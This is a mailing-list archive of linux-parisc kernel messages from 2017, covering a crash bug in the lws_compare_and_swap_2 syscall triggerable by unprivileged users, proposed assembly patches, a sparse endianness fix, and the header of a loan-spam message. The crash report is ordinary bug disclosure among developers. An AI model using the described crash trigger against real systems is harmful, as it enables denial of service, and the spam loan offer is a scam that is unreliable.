| r20-23  0000000000000002 00000000000004d4 00000000f844a08c 0000000000000004
| r24-27  00000000f9396330 00000000f9396328 00000000f9396320 0000000000011100
| r28-31  0000000040cf2528 0000000000000010 00000000f9396400 00000000000106e7
| sr00-03  00000000003a7800 0000000000000000 0000000000000000 00000000003a7800
| sr04-07  00000000003a7800 00000000003a7800 00000000003a7800 00000000003a7800
|
| IASQ: 0000000000000000 0000000000000000 IAOQ: 0000000000000578 000000000000057c
|  IIR: 0e8095dc    ISR: 0000000000000000  IOR: 0000000000000002
|  CPU:        0   CR30: 000000007cb68000 CR31: 0000000011111111
|  ORIG_R28: 0000000000000000
|  IAOQ[0]: 0x578
|  IAOQ[1]: 0x57c
|  RP(r2): 0x10987
| Backtrace:
|
| Kernel panic - not syncing: Kernel Fault
| ---[ end Kernel panic - not syncing: Kernel Fault
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:31 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Testing the lws_compare_and_swap_2 syscall
Date: Tue, 24 Oct 2017 21:48:15 -0400
Lines: 24
Approved: news@gmane.org
Message-ID: <F232B09A-5367-4A4C-B731-00C63AAB489A@bell.net>
References: <1508874207@msgid.manchmal.in-ulm.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0 (Apple Message framework v1085)
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 8BIT
X-Trace: blaine.gmane.org 1508896097 3049 195.159.176.226 (25 Oct 2017 01:48:17 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 25 Oct 2017 01:48:17 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: Christoph Biedl <linux-kernel.bfrz@manchmal.in-ulm.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Oct 25 03:48:12 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1e7Ani-00083C-W3
	for glpp-linux-parisc@m.gmane.org; Wed, 25 Oct 2017 03:48:11 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751623AbdJYBsS convert rfc822-to-8bit (ORCPT
        <rfc822;glpp-linux-parisc@m.gmane.org>);
        Tue, 24 Oct 2017 21:48:18 -0400
Original-Received: from simcoe208srvr.owm.bell.net ([184.150.200.208]:56301 "EHLO
        torfep02.bell.net" rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org
        with ESMTP id S1751323AbdJYBsR (ORCPT
        <rfc822;linux-parisc@vger.kernel.org>);
        Tue, 24 Oct 2017 21:48:17 -0400
Original-Received: from bell.net torfep02 184.150.200.158 by torfep02.bell.net
          with ESMTP
          id <20171025014815.DBCA7167.torfep02.bell.net@torspm01.bell.net>
          for <linux-parisc@vger.kernel.org>;
          Tue, 24 Oct 2017 21:48:15 -0400
Original-Received: from [192.168.2.25] (really [70.54.49.68]) by torspm01.bell.net
          with ESMTP
          id <20171025014815.KJSR31528.torspm01.bell.net@[192.168.2.25]>;
          Tue, 24 Oct 2017 21:48:15 -0400
In-Reply-To: <1508874207@msgid.manchmal.in-ulm.de>
X-Mailer: Apple Mail (2.1085)
X-Cloudmark-Analysis: v=2.2 cv=Ypfgf8QX c=1 sm=0 tr=0 a=6wHw2kR6hpAEE/VjhHKMJQ==:17 a=kj9zAlcOel0A:10 a=02M-m0pO-4AA:10 a=FBHGMhGWAAAA:8 a=w6JqyUwyNh-7lTuFKFIA:9 a=CjuIK1q_8ugA:10 a=9gvnlMMaQFpL9xblJ6ne:22
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27941
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27941>

On 2017-10-24, at 4:03 PM, Christoph Biedl wrote:

> To start with, using the invalid value 4 as size parameter does not
> return ENOSYS as I'd expect but crashes my system[2], using both 32 and
> 64 bit kernel, no root privileges required.

        /* Check the validity of the size pointer */
        subi,>>= 4, %r23, %r0
        b,n     lws_exit_nosys

The condition in the subi instruction should be ">>".  The branch is incorrectly nullified when
%r23 is 4.

Dave
--
John David Anglin	dave.anglin@bell.net



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:31 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Christoph Biedl <linux-kernel.bfrz@manchmal.in-ulm.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Testing the lws_compare_and_swap_2 syscall
Date: Thu, 26 Oct 2017 02:22:17 +0200
Lines: 145
Approved: news@gmane.org
Message-ID: <1508973952@msgid.manchmal.in-ulm.de>
References: <1508874207@msgid.manchmal.in-ulm.de>
 <F232B09A-5367-4A4C-B731-00C63AAB489A@bell.net>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1508977350 31422 195.159.176.226 (26 Oct 2017 00:22:30 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 26 Oct 2017 00:22:30 +0000 (UTC)
User-Agent: Mutt/1.5.23 (2014-03-12)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Oct 26 02:22:25 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1e7Vw9-0006u9-2c
	for glpp-linux-parisc@m.gmane.org; Thu, 26 Oct 2017 02:22:17 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S932197AbdJZAWX (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Wed, 25 Oct 2017 20:22:23 -0400
Original-Received: from manchmal.in-ulm.de ([217.10.9.201]:44006 "EHLO
        manchmal.in-ulm.de" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S932194AbdJZAWX (ORCPT
        <rfc822;linux-parisc@vger.kernel.org>);
        Wed, 25 Oct 2017 20:22:23 -0400
Content-Disposition: inline
In-Reply-To: <F232B09A-5367-4A4C-B731-00C63AAB489A@bell.net>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27942
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27942>

John David Anglin wrote...

> On 2017-10-24, at 4:03 PM, Christoph Biedl wrote:
> 
> > To start with, using the invalid value 4 as size parameter does not
> > return ENOSYS as I'd expect but crashes my system[2], using both 32 and
> > 64 bit kernel, no root privileges required.
> 
>         /* Check the validity of the size pointer */
>         subi,>>= 4, %r23, %r0
>         b,n     lws_exit_nosys
> 
> The condition in the subi instruction should be ">>".  The branch is incorrectly nullified when
> %r23 is 4.

Ups, way too obvious. This does the trick, or: Tested-By:
Should I try to get a CVE number for this, or is parisc considered
*that* historical nobody actually cares?


Now, using the given cmpxchg2 function, the following code tests this
LWS for 32bit: The first test is for *mem == *old, the second for
*mem != *old. Is there anything wrong with this?

    uint32_t mem;
    uint32_t old;
    uint32_t new;

    mem = 1;
    old = 1;
    new = 3;
    cmpxchg2 (&mem, &old, &new, 2);
    if (mem == old) {
        printf ("PASS: mem unchanged\n");
    } else {
        printf ("FAIL: got = 0x%x, expected = 0x%x\n", mem, old);
    }

    mem = 1;
    old = 3;
    new = 3;
    cmpxchg2 (&mem, &old, &new, 2);
    if (mem == new) {
        printf ("PASS: mem changed\n");
    } else {
        printf ("FAIL: got = 0x%x, expected = 0x%x\n", mem, new);
    }

My problem here: Both tests fail, and so do more complex ones that test
the other data sizes as well.

After staring at lws_compare_and_swap_2 a long time it seems there are
two issues: First, there is more usage of ",ma" so an update of mem/r26
hits the wrong place. After that, all results are the wrong way around.
I'm frightened to tell but I fear the logic in lws_compare_and_swap_2
is inverted in each and every place. I'm happy to be convinced
otherwise. But for the time being it seems the patch below is an
improvement.

Status: My system boots and all my tests pass. However, I find smartd
stalling in 100% CPU, might be coincidence. Now I'm putting some more
load onto the box to see whether it's less crashy then it used to be the
previous weeks.

Aside, there is another ",ma" modifier in lws_compare_and_swap that I
fail to understand. Haven't checked yet in detail yet, though.

Cheers,
    Christoph

--- a/src/arch/parisc/kernel/syscall.S
+++ b/src/arch/parisc/kernel/syscall.S
@@ -796,30 +796,30 @@
 	ldo	1(%r0),%r28
 
 	/* 8bit CAS */
-13:	ldb,ma	0(%r26), %r29
-	sub,=	%r29, %r25, %r0
+13:	ldb	0(%r26), %r29
+	sub,<>	%r29, %r25, %r0
 	b,n	cas2_end
-14:	stb,ma	%r24, 0(%r26)
+14:	stb	%r24, 0(%r26)
 	b	cas2_end
 	copy	%r0, %r28
 	nop
 	nop
 
 	/* 16bit CAS */
-15:	ldh,ma	0(%r26), %r29
-	sub,=	%r29, %r25, %r0
+15:	ldh	0(%r26), %r29
+	sub,<>	%r29, %r25, %r0
 	b,n	cas2_end
-16:	sth,ma	%r24, 0(%r26)
+16:	sth	%r24, 0(%r26)
 	b	cas2_end
 	copy	%r0, %r28
 	nop
 	nop
 
 	/* 32bit CAS */
-17:	ldw,ma	0(%r26), %r29
-	sub,=	%r29, %r25, %r0
+17:	ldw	0(%r26), %r29
+	sub,<>	%r29, %r25, %r0
 	b,n	cas2_end
-18:	stw,ma	%r24, 0(%r26)
+18:	stw	%r24, 0(%r26)
 	b	cas2_end
 	copy	%r0, %r28
 	nop
@@ -827,21 +827,22 @@
 
 	/* 64bit CAS */
 #ifdef CONFIG_64BIT
-19:	ldd,ma	0(%r26), %r29
-	sub,*=	%r29, %r25, %r0
+19:	ldd	0(%r26), %r29
+	sub,<>	%r29, %r25, %r0
 	b,n	cas2_end
-20:	std,ma	%r24, 0(%r26)
+20:	std	%r24, 0(%r26)
 	copy	%r0, %r28
 #else
 	/* Compare first word */
 19:	ldw	0(%r26), %r29
 	sub,=	%r29, %r22, %r0
-	b,n	cas2_end
+	b,n	cas2_64set
 	/* Compare second word */
 20:	ldw	4(%r26), %r29
-	sub,=	%r29, %r23, %r0
+	sub,<>	%r29, %r23, %r0
 	b,n	cas2_end
 	/* Perform the store */
+cas2_64set:
 21:	fstdx	%fr4, 0(%r26)
 	copy	%r0, %r28
 #endif
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:31 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Testing the lws_compare_and_swap_2 syscall
Date: Thu, 26 Oct 2017 10:06:25 -0400
Lines: 41
Approved: news@gmane.org
Message-ID: <1ff4bcc7-2e9c-a76c-197c-e19983554818@bell.net>
References: <1508874207@msgid.manchmal.in-ulm.de>
 <F232B09A-5367-4A4C-B731-00C63AAB489A@bell.net>
 <1508973952@msgid.manchmal.in-ulm.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8; format=flowed
Content-Transfer-Encoding: 8bit
X-Trace: blaine.gmane.org 1509026793 31463 195.159.176.226 (26 Oct 2017 14:06:33 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 26 Oct 2017 14:06:33 +0000 (UTC)
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101
 Thunderbird/52.4.0
To: Christoph Biedl <linux-kernel.bfrz@manchmal.in-ulm.de>,
        linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Oct 26 16:06:24 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1e7ina-0000H4-7n
	for glpp-linux-parisc@m.gmane.org; Thu, 26 Oct 2017 16:06:18 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S932343AbdJZOGZ (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Thu, 26 Oct 2017 10:06:25 -0400
Original-Received: from belmont79srvr.owm.bell.net ([184.150.200.79]:41979 "EHLO
        mtlfep01.bell.net" rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org
        with ESMTP id S932234AbdJZOGY (ORCPT
        <rfc822;linux-parisc@vger.kernel.org>);
        Thu, 26 Oct 2017 10:06:24 -0400
Original-Received: from bell.net mtlfep01 184.150.200.30 by mtlfep01.bell.net
          with ESMTP
          id <20171026140623.DWMN9720.mtlfep01.bell.net@mtlspm02.bell.net>
          for <linux-parisc@vger.kernel.org>;
          Thu, 26 Oct 2017 10:06:23 -0400
Original-Received: from [192.168.0.138] (really [76.69.63.181]) by mtlspm02.bell.net
          with ESMTP
          id <20171026140623.OSFF30370.mtlspm02.bell.net@[192.168.0.138]>;
          Thu, 26 Oct 2017 10:06:23 -0400
In-Reply-To: <1508973952@msgid.manchmal.in-ulm.de>
Content-Language: en-US
X-Cloudmark-Analysis: v=2.2 cv=Pe0Qvmpd c=1 sm=0 tr=0 a=99/vd7DFkLqv/VdFEHgo1Q==:17 a=IkcTkHD0fZMA:10 a=02M-m0pO-4AA:10 a=FBHGMhGWAAAA:8 a=yXXn8dYd81EPsixAUWUA:9 a=QEXdDO2ut3YA:10 a=9gvnlMMaQFpL9xblJ6ne:22
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27943
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27943>

On 2017-10-25 8:22 PM, Christoph Biedl wrote:
> After staring at lws_compare_and_swap_2 a long time it seems there are
> two issues: First, there is more usage of ",ma" so an update of mem/r26
> hits the wrong place.
The other uses of ",ma" are not a problem as the increment value is 0.  
So, the pointer
is unchanged.  The double word case had an increment of 4 messing up the 
pointer.

Technically, ",ma" with a zero increment provides an ordered load. 
However, the completer
probably isn't necessary as I believe all loads and stores are ordered 
on real hardware.

The "=" completer in the "sub" instructions looks correct to me. When 
*mem and old are
equal, the "b,n     cas2_end" instruction is nullified and new is stored 
in mem.  See comment
from code:

         /*
                 prev = *addr;
                 if ( prev == old )
                   *addr = new;
                 return prev;
         */

In your first test example, old and new should be exchanged in mem. Pass 
should be
mem == new.  Second case should be mem == old.

Dave

-- 
John David Anglin  dave.anglin@bell.net

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:31 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Luc Van Oostenryck <luc.vanoostenryck@gmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: pass endianness info to sparse
Date: Tue, 31 Oct 2017 18:21:59 +0100
Lines: 37
Approved: news@gmane.org
Message-ID: <20171031172200.9793-1-luc.vanoostenryck@gmail.com>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1509470531 20945 195.159.176.226 (31 Oct 2017 17:22:11 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 31 Oct 2017 17:22:11 +0000 (UTC)
Cc: Luc Van Oostenryck <luc.vanoostenryck@gmail.com>,
        linux-parisc@vger.kernel.org
To: James Bottomley <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Oct 31 18:22:01 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1e9aEe-0002is-Op
	for glpp-linux-parisc@m.gmane.org; Tue, 31 Oct 2017 18:21:57 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1753691AbdJaRWE (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Tue, 31 Oct 2017 13:22:04 -0400
Original-Received: from mail-wm0-f68.google.com ([74.125.82.68]:47981 "EHLO
        mail-wm0-f68.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1753981AbdJaRWD (ORCPT
        <rfc822;linux-parisc@vger.kernel.org>);
        Tue, 31 Oct 2017 13:22:03 -0400
Original-Received: by mail-wm0-f68.google.com with SMTP id r196so292072wmf.2
        for <linux-parisc@vger.kernel.org>; Tue, 31 Oct 2017 10:22:02 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20161025;
        h=from:to:cc:subject:date:message-id;
        bh=Szlh91d+IjEVdGt8ajwFwsjn36kKjiY9wqLqnWgHcsc=;
        b=i7OOBRyaVgJ9ENL2jnfmbFYj9d9HjzYEjhIINeuFQbr5XFOgYTriFuMJLQnAiswt/y
         3NZwXdc7AFEJasN5XRBqpjvWdhqcxTbIyVBtenwmivj5IKY+4o17HnGg8XpdoZF3vkAy
         bxdovK7ymyBlX04gTKvJ8CNeP+anSwpuXiNB3XFsrpeNLAqLNY2Y3zrVv196/he/jEr6
         MNKovA7L11ZG0/gXdnuL87+J0CfOvawxFk7OAjXphLcUhKGloLyFPSADrj/TEL24y/wh
         ygIuYVJ2U8CXvLVgsksbxkb2tATm41toSMhq4FH3nnd1Jhraq69xHjay+XUrikdKbjg8
         uI9w==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:from:to:cc:subject:date:message-id;
        bh=Szlh91d+IjEVdGt8ajwFwsjn36kKjiY9wqLqnWgHcsc=;
        b=Cij5jVz1lyZp71BdDKGpIpD7LckcTrgOOmVoe1PV8OFUhyepGfP2BM4CS2am641wsn
         Y0l/cYYGM7eGsgXuDQ8nuoKkln2TBbIWWcRG534emCLb/cHBdE+792stVkn1o/QbUMGy
         n8U4+cHVnmuuvSStuy4WO8IhKtsFoi9gTO84Z+uUPOO/sW2/gEXwde9RIjoJRkwfv9d4
         8devSb4lVr3is9Alqhmov1Z4eX2NlKrbsxrYldukLbfXiBkTnLoXp9BABu81rdB9Fnjg
         3aijyN4SEZ2M0tPUvKbvItpTjvtbG/wVeeV7VEGc3gsI0Jez0pdHCj8E4kpTv0vPiJQ0
         datg==
X-Gm-Message-State: AMCzsaW/DDL20bJ9bpuJpIqgz+LI5YeW2gN/OZCn3tq5DBo4u88ADXSJ
        w1JSBBqiMpqVSDjvkhT537g=
X-Google-Smtp-Source: ABhQp+RbtV8F8NmB2hizRCSF1kdcBMsZqhJnGb0MvNGztCf7GT5TJXdDQsYv/cxgaHFt4kMZODfJeg==
X-Received: by 10.80.145.245 with SMTP id h50mr3915379eda.139.1509470522093;
        Tue, 31 Oct 2017 10:22:02 -0700 (PDT)
Original-Received: from localhost.localdomain (117.182-246-81.adsl-dyn.isp.belgacom.be. [81.246.182.117])
        by smtp.gmail.com with ESMTPSA id p91sm1630756edp.69.2017.10.31.10.22.01
        (version=TLS1_2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
        Tue, 31 Oct 2017 10:22:01 -0700 (PDT)
X-Mailer: git-send-email 2.14.0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27944
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27944>

parisc is big-endian only but sparse assumes the same endianness
as the building machine.
This is problematic for code which expect __BYTE_ORDER__ being
correctly predefined by the compiler which sparse can then
pre-process differently from what gcc would.

Fix this by letting sparse know about the architecture endianness.

To: James Bottomley <jejb@parisc-linux.org>
To: Helge Deller <deller@gmx.de>
CC: linux-parisc@vger.kernel.org
Signed-off-by: Luc Van Oostenryck <luc.vanoostenryck@gmail.com>
---
 arch/parisc/Makefile | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/arch/parisc/Makefile b/arch/parisc/Makefile
index 01946ebaf..e2364ff59 100644
--- a/arch/parisc/Makefile
+++ b/arch/parisc/Makefile
@@ -22,7 +22,7 @@ KBUILD_IMAGE := vmlinuz
 KBUILD_DEFCONFIG := default_defconfig
 
 NM		= sh $(srctree)/arch/parisc/nm
-CHECKFLAGS	+= -D__hppa__=1
+CHECKFLAGS	+= -D__hppa__=1 -mbig-endian
 LIBGCC		= $(shell $(CC) $(KBUILD_CFLAGS) -print-libgcc-file-name)
 export LIBGCC
 
-- 
2.14.0

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:31 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Brendan Horan <brendanhoran@basstech.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: HP-UX for C8000
Date: Thu, 2 Nov 2017 09:57:13 +0800 (HKT)
Lines: 15
Approved: news@gmane.org
Message-ID: <945027596.2687.1509587833744.JavaMail.zimbra@basstech.net>
References: <D582C6C6-78B5-44F4-9705-B4723B651D8E@bell.net> <45425BF6-26D1-4232-957D-F3F057A8966A@bell.net> <d6efa26f-9daf-a42f-c4e8-a2f050faf322@gmx.de> <8A61C252-CA15-44AB-9225-EAA6C259E872@bell.net> <20171009174146.GA21988@alpha.franken.de> <7521862C-4EC7-47F5-AFF9-41A44775CFAB@bell.net> <20171010184621.GA18582@alpha.franken.de> <5CF7B86C-F92C-4CED-8A90-A11ABCFBE6B4@bell.net>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1509588231 11201 195.159.176.226 (2 Nov 2017 02:03:51 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 2 Nov 2017 02:03:51 +0000 (UTC)
Cc: Tom Bogendoerfer <tsbogend@alpha.franken.de>,
        Helge Deller <deller@gmx.de>, linux-parisc@vger.kernel.org
To: John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Nov 02 03:03:46 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1eA4qm-0003hb-1P
	for glpp-linux-parisc@m.gmane.org; Thu, 02 Nov 2017 03:03:20 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S933135AbdKBCD1 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Wed, 1 Nov 2017 22:03:27 -0400
Original-Received: from basstech.net ([5.9.14.84]:47894 "EHLO basstech.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1751628AbdKBCD0 (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Wed, 1 Nov 2017 22:03:26 -0400
X-Greylist: delayed 371 seconds by postgrey-1.27 at vger.kernel.org; Wed, 01 Nov 2017 22:03:26 EDT
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
        by basstech.net (Postfix) with ESMTP id 47CFD10C8B585;
        Thu,  2 Nov 2017 09:57:14 +0800 (HKT)
Original-Received: from basstech.net ([127.0.0.1])
        by localhost (basstech.net [127.0.0.1]) (amavisd-new, port 10032)
        with ESMTP id vHlYqyqrYQWr; Thu,  2 Nov 2017 09:57:14 +0800 (HKT)
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
        by basstech.net (Postfix) with ESMTP id E0F8110C8B5A5;
        Thu,  2 Nov 2017 09:57:13 +0800 (HKT)
DKIM-Filter: OpenDKIM Filter v2.10.3 basstech.net E0F8110C8B5A5
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=basstech.net;
        s=2827F5CC-220C-11E6-9880-C3925EDDEE83; t=1509587833;
        bh=a1mZIqxCZfDIHoBWBQxlWODGBMXINjKNkqfkfYtFtPo=;
        h=Date:From:To:Message-ID:MIME-Version;
        b=IvfqwsBTe3yob2aM52IO+bUOQ5GTQ2N0g7Gw3K82KDthDDlAbUWMaWQ1kN/Bkh/w4
         nMDmVPd5EW2PMoUgEylb3Ybos5QkER3LG6GqsdOPs9ki4iv6oEGCWFHW/MA7iwzFy1
         v9FcVQyZDOqmcBhhfE3qk/6q4pE/M6Yo67RHOkXA=
X-Virus-Scanned: amavisd-new at basstech.net
Original-Received: from basstech.net ([127.0.0.1])
        by localhost (basstech.net [127.0.0.1]) (amavisd-new, port 10026)
        with ESMTP id t-d7QdNl_dai; Thu,  2 Nov 2017 09:57:13 +0800 (HKT)
Original-Received: from basstech.net (basstech.net [5.9.14.84])
        by basstech.net (Postfix) with ESMTP id C95F710C8B588;
        Thu,  2 Nov 2017 09:57:13 +0800 (HKT)
In-Reply-To: <5CF7B86C-F92C-4CED-8A90-A11ABCFBE6B4@bell.net>
X-Originating-IP: [5.9.14.84]
X-Mailer: Zimbra 8.8.3_GA_1872 (ZimbraWebClient - SAF11 (Linux)/8.8.3_GA_1872)
Thread-Topic: HP-UX for C8000
Thread-Index: TqrZ0ke3n4MmwHguMm5d5QdJEBPXqQ==
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27945
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27945>

----- On 11 Oct, 2017, at 6:06 AM, John David Anglin dave.anglin@bell.net wrote:

> 
> I believe I have ISOs but I'll have to dig.  I'll look next weekend.

If you did not manage to find some media, I have the following I can send :
HPUX 11.23 Core FOE. Dec 2005

Let me know :)

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:31 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: "Mr David Williams" <56213859@mylife.unisa.ac.za>
Newsgroups: gmane.linux.ports.parisc
Subject: Darlehensangebot
Date: Thu, 02 Nov 2017 15:53:37 +0530
Lines: 25
Approved: news@gmane.org
Message-ID: <HE1PR0101MB202620BECB41583BAC8463CEB85C0@HE1PR0101MB2026.eurprd01.prod.exchangelabs.com>
Reply-To: david.loanfirm09@gmail.com
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="utf-8"
Content-Transfer-Encoding: quoted-printable
X-Trace: blaine.gmane.org 1509618130 28737 195.159.176.226 (2 Nov 2017 10:22:10 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 2 Nov 2017 10:22:10 +0000 (UTC)
To: Recipients <56213859@mylife.unisa.ac.za>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Nov 02 11:22:03 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1eACdK-0002nh-PU
	for glpp-linux-parisc@m.gmane.org; Thu, 02 Nov 2017 11:21:59 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1755231AbdKBKWG (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Thu, 2 Nov 2017 06:22:06 -0400
Original-Received: from mail-db5eur01hn0202.outbound.protection.outlook.com ([104.47.2.202]:44720
        "EHLO EUR01-DB5-obe.outbound.protection.outlook.com"
        rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org with ESMTP
